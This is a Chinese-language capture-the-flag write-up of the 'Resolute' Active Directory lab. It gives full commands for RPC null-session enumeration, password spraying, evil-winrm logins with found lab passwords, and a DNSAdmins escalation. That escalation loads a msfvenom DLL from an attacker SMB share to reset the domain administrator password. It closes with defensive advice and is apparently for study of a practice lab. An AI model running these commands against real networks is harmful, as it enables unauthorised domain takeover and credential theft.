AD-Resolute详解
字数 1240 2025-08-12 11:34:48

AD-Resolute 域渗透实战详解

0x00 靶机环境概述

本靶机是一个典型的Active Directory域环境,域名为megabank.local。通过渗透测试,我们将学习从初始信息收集到最终获取域控权限的完整过程。

0x01 信息收集阶段

1.1 端口扫描与服务识别

使用nmap进行端口扫描,发现以下关键服务:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds  Windows Server 2008 R2 - 2012
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)

关键发现:

  • 域名为megabank.local
  • 开放了LDAP服务(389/tcp)
  • 启用了WinRM服务(5985/tcp)
  • SMB签名已启用且为必需

1.2 RPC空会话枚举

使用rpcclient进行空会话枚举:

rpcclient -U "" -N 10.10.10.169

常用命令:

  • enumdomusers - 枚举域用户
  • querydispinfo - 显示用户列表和描述信息

重要发现:在用户描述字段中发现了marko用户的明文密码"Welcome123!"

0x02 密码喷洒攻击

2.1 验证发现的凭据

使用crackmapexec验证发现的凭据:

crackmapexec smb 10.10.10.169 -u userlist.txt -p 'Welcome123!' --continue-on-success

发现用户melanie可以使用该密码登录。

2.2 获取初始访问权限

使用evil-winrm工具登录:

evil-winrm -i 10.10.10.169 -P 5985 -u melanie -p 'Welcome123!'

关键发现:在melanie用户的目录下发现包含ryan用户凭据的txt文件:

  • 用户名:ryan
  • 密码:Serv3r4Admin4cc123!

0x03 权限提升路径

3.1 获取ryan用户权限

使用evil-winrm登录ryan账户:

evil-winrm -i 10.10.10.169 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'

发现note.txt内容:

由于更改冻结,任何系统更改(除了管理员帐户的更改)将在1分钟内自动恢复

3.2 发现特权组

检查用户组成员:

whoami /all

发现ryan用户是DNSAdmins组成员。

DNSAdmins组权限

  • 读取、写入、创建所有子对象
  • 删除子对象
  • 特殊权限
  • 在某些配置下可能拥有启动/停止DNS服务的权限

3.3 通过DLL注入提权

3.3.1 生成恶意DLL

使用msfvenom生成执行命令的DLL:

msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > da.dll

3.3.2 设置SMB共享

启动SMB共享服务:

smbserver.py SHARE ./

3.3.3 配置DNS插件DLL

在目标机器上执行:

cmd /c dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.16.12\share\da.dll

3.3.4 重启DNS服务

sc.exe stop dns
sc.exe start dns

3.3.5 验证提权

使用新创建的凭据登录:

psexec.py megabank.local/administrator@10.10.10.169

输入密码:P@s5w0rd123!

0x04 技术原理分析

4.1 DNSAdmins组提权原理

DNSAdmins组成员可以配置DNS服务器加载自定义DLL。当DNS服务重启时,系统会以SYSTEM权限加载该DLL,从而实现权限提升。

4.2 防御措施

  1. 限制DNSAdmins组的成员
  2. 监控DNS服务器配置更改
  3. 限制远程DLL加载
  4. 实施最小权限原则

0x05 总结与思考

本次渗透测试的关键路径:

  1. 通过RPC空会话枚举发现用户描述中的明文密码
  2. 使用密码喷洒攻击获取初始立足点
  3. 在用户目录中发现其他用户凭据
  4. 利用DNSAdmins组权限通过DLL注入实现提权

学习要点

  • 用户描述字段可能包含敏感信息
  • 密码重用是常见的安全问题
  • 特权组成员资格是权限提升的重要途径
  • 服务配置修改可能带来安全风险
AD-Resolute 域渗透实战详解 0x00 靶机环境概述 本靶机是一个典型的Active Directory域环境,域名为megabank.local。通过渗透测试,我们将学习从初始信息收集到最终获取域控权限的完整过程。 0x01 信息收集阶段 1.1 端口扫描与服务识别 使用nmap进行端口扫描,发现以下关键服务: 关键发现: 域名为megabank.local 开放了LDAP服务(389/tcp) 启用了WinRM服务(5985/tcp) SMB签名已启用且为必需 1.2 RPC空会话枚举 使用rpcclient进行空会话枚举: 常用命令: enumdomusers - 枚举域用户 querydispinfo - 显示用户列表和描述信息 重要发现 :在用户描述字段中发现了marko用户的明文密码"Welcome123 !" 0x02 密码喷洒攻击 2.1 验证发现的凭据 使用crackmapexec验证发现的凭据: 发现用户melanie可以使用该密码登录。 2.2 获取初始访问权限 使用evil-winrm工具登录: 关键发现 :在melanie用户的目录下发现包含ryan用户凭据的txt文件: 用户名:ryan 密码:Serv3r4Admin4cc123 ! 0x03 权限提升路径 3.1 获取ryan用户权限 使用evil-winrm登录ryan账户: 发现note.txt内容: 由于更改冻结,任何系统更改(除了管理员帐户的更改)将在1分钟内自动恢复 3.2 发现特权组 检查用户组成员: 发现ryan用户是DNSAdmins组成员。 DNSAdmins组权限 : 读取、写入、创建所有子对象 删除子对象 特殊权限 在某些配置下可能拥有启动/停止DNS服务的权限 3.3 通过DLL注入提权 3.3.1 生成恶意DLL 使用msfvenom生成执行命令的DLL: 3.3.2 设置SMB共享 启动SMB共享服务: 3.3.3 配置DNS插件DLL 在目标机器上执行: 3.3.4 重启DNS服务 3.3.5 验证提权 使用新创建的凭据登录: 输入密码:P@s5w0rd123 ! 0x04 技术原理分析 4.1 DNSAdmins组提权原理 DNSAdmins组成员可以配置DNS服务器加载自定义DLL。当DNS服务重启时,系统会以SYSTEM权限加载该DLL,从而实现权限提升。 4.2 防御措施 限制DNSAdmins组的成员 监控DNS服务器配置更改 限制远程DLL加载 实施最小权限原则 0x05 总结与思考 本次渗透测试的关键路径: 通过RPC空会话枚举发现用户描述中的明文密码 使用密码喷洒攻击获取初始立足点 在用户目录中发现其他用户凭据 利用DNSAdmins组权限通过DLL注入实现提权 学习要点 : 用户描述字段可能包含敏感信息 密码重用是常见的安全问题 特权组成员资格是权限提升的重要途径 服务配置修改可能带来安全风险